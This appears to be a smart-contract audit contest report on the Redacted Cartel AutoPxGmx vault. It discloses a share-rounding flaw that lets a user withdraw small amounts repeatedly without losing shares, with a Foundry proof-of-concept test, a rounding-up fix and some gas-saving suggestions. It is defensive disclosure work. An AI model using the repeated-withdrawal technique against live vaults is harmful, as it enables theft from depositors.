Redacted Cartel contest - PaludoX0's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L206 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L323

Vulnerability details

Impact

Withdraw function calls previewWidthraw(assets) to calculate number of shares to redeem. previewWidthraw calls convertToShares(assets); before subtracting withdrawal Fee. convertToShares convert shares to assets by rounding down, it means that a user needs less shares to withdraw the same amount of underlaying token.

This is also stated in https://eips.ethereum.org/EIPS/eip-4626 "If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up."

For instance in case of widthrawing of no 1 asset this will be transferred without reducing user shares. This could be not convenient in real world due to gas fee, but a malicious user could find a tradeoff between amount to be withdrawn for each iteration and gas fees.

Proof of Concept

To test try the following test in AutoPxGmx.t.sol Sorry, the console2.log calls are a little bit messy.

function testWithdrawOverflow() external {
        uint32 secondsElapsed = 1000;
        uint96 gmxAmount = 10e18;
        address[] memory receivers = new address[](testAccounts.length);
        uint256[] memory assetBalances = new uint256[](testAccounts.length);
        for (uint256 i; i < testAccounts.length; ++i) {
            receivers[i] = testAccounts[i];
        }
        (, , uint256[] memory shareBalances) = _provisionRewardState(
            gmxAmount,
            receivers,
            secondsElapsed
        );
        autoPxGmx.compound(autoPxGmx.poolFee(), 1, 0, true);
        // Store current redemption values before the first compound trigger
        for (uint256 i; i < testAccounts.length; ++i) {
            assetBalances[i] = autoPxGmx.previewRedeem(shareBalances[i]);
        }
        uint256 startBalancePxGmx = pxGmx.balanceOf(address(autoPxGmx));
        for (uint256 i; i < testAccounts.length; ++i) {
            uint256 initialShare = autoPxGmx.balanceOf(testAccounts[i]);
            uint256 startBalanceAccount = pxGmx.balanceOf(testAccounts[i]);
            assertEq(shareBalances[i], initialShare);
            uint256 initialSupply = autoPxGmx.totalSupply();           
            uint256 sharesFromWithdraw;
            // Redeem from the vault and assert the updated assets
            for(uint256 j; j <1e3; ++j) {
                vm.prank(testAccounts[i]);
                sharesFromWithdraw = autoPxGmx.withdraw(1,testAccounts[i],testAccounts[i]);
        }
        console2.log("initialShare ",initialShare );
        console2.log("initialTOtalSupply ",initialSupply ); 
        console2.log("assetBalances[i] ",assetBalances[i] );
        console2.log("sharesFromWithdraw ",sharesFromWithdraw );
        console2.log("actualShare ",autoPxGmx.balanceOf(testAccounts[i]) );
        console2.log("actualAssets ",autoPxGmx.previewRedeem(autoPxGmx.balanceOf(testAccounts[i])) );
        console2.log("actualSupply ",autoPxGmx.totalSupply() );
        console2.log("pirexGmx ", pxGmx.balanceOf(address(autoPxGmx)) );
        console2.log("Start balance of pxGmx for user", startBalanceAccount);
        console2.log("Final balance of pxGmx user", pxGmx.balanceOf(testAccounts[i]));
        console2.log("Start balance of pxGmx for contract ", startBalancePxGmx );
        console2.log("Final balance of pxGmx for contract", pxGmx.balanceOf(address(autoPxGmx)) );
    }
}

Tools Used

Forge foundry

Recommended Mitigation Steps

Change src/vaults/AutoPxGmx.sol#L206 with the following line:

uint256 shares = _totalSupply == 0 ? assets : assets.mulDivUp(_totalSupply, totalAssets());

By rounding up there's a drawback: the amount of shares calculated from assets could be more than balanceOF[owner] causing underflow duing burning of shares. Therefore a check shall be added in withdraw function that shares <= balanceOf(owner). In case a user wants to withdraw all his shares in one go he should use redeem function.

Run again the above test to verify that either balance and shares are going down.

Usage of uints/ints smaller than 32bytes (256bits) incurs overhead

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexFees.sol#L28 uint8 public treasuryFeePercent = MAX_TREASURY_FEE_PERCENT;
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L26 uint24 public poolFee = 3000;

Usage of uints/ints smaller than 32bytes (256bits) incurs overhead and gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Use a larger size then downcast where needed

For example, these are the results by changing AutoPxGmx.sol/#L26 from uint24 to uint256 and running function testCompound in AutoPxGmx.t.sol

| Function Name | min | avg | median | max | # calls | | compound | 468452 | 468452 | 468452 | 468452 | 1 |

| Function Name | min | avg | median | max | # calls | | compound | 468343 | 468343 | 468343 | 468343 | 1 |

Assert Reverts the Calls without returning gas

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexGmx.sol#L225 assert(feeAmount + postFeeAmount == assets); Assert reverts call and doesn't return any gas. It used mostly to catch errors during development, it could be changed with require or if/revert/error statement.

Save a function call

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L338 L380 and L423 You can use compound(1,1,true) instead of using beforeDeposit(address(0), 0, 0) to spare a function call and therefore saving gas

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L379 You can use directly compound (poolFee, 1, 0, true) instead of using beforeDeposit(address(0), 0, 0) to spare a function call and therefore saving gas

CACHE (totalAssets() - assetsBeforeClaim)

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L288 and 290 totalAssets() corresponds to asset.balanceOf(address(this)) as per L163 Since this operation is run at line 288 and 290 you can cache it (as already done in AutoPxGlp#L250)